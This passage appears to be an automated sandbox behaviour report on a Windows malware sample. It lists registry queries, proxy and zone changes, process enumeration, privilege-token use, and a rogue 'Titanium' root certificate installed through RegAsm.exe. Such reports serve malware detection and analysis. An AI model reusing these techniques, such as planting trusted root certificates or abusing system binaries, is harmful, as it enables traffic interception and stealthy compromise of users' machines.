N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Users\Admin\Documents\SimpleAdobe\7forErqq4tbW3RURgjjmm5tm.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\Documents\SimpleAdobe\7forErqq4tbW3RURgjjmm5tm.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\SlowContextMenuEntries = fb9a790967add111abcd00c04fc30936db0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\SlowContextMenuEntries = fb9a790967add111abcd00c04fc30936db0000006024b221ea3a6910a2dc08002b30309dcb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe N/A

Modifies system certificate store

evasion spyware trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\m_9CDEY7PmIISiamjrGWjojo.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\m_9CDEY7PmIISiamjrGWjojo.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\QaJTEr3dmw7ln0GcExGbbGBX.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\QaJTEr3dmw7ln0GcExGbbGBX.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\qSN72VNu1dsgP8LHOGW1Rl9s.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\qSN72VNu1dsgP8LHOGW1Rl9s.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\OHHcmC743LqiNfsmae4js_QK.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\OHHcmC743LqiNfsmae4js_QK.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\OHHcmC743LqiNfsmae4js_QK.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\OHHcmC743LqiNfsmae4js_QK.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\OHHcmC743LqiNfsmae4js_QK.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\OHHcmC743LqiNfsmae4js_QK.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\OHHcmC743LqiNfsmae4js_QK.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\OHHcmC743LqiNfsmae4js_QK.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\QaJTEr3dmw7ln0GcExGbbGBX.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\QaJTEr3dmw7ln0GcExGbbGBX.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\QaJTEr3dmw7ln0GcExGbbGBX.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\QaJTEr3dmw7ln0GcExGbbGBX.exe N/A
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\QaJTEr3dmw7ln0GcExGbbGBX.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\Documents\SimpleAdobe\OHHcmC743LqiNfsmae4js_QK.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\system32\svchost.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\system32\powercfg.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
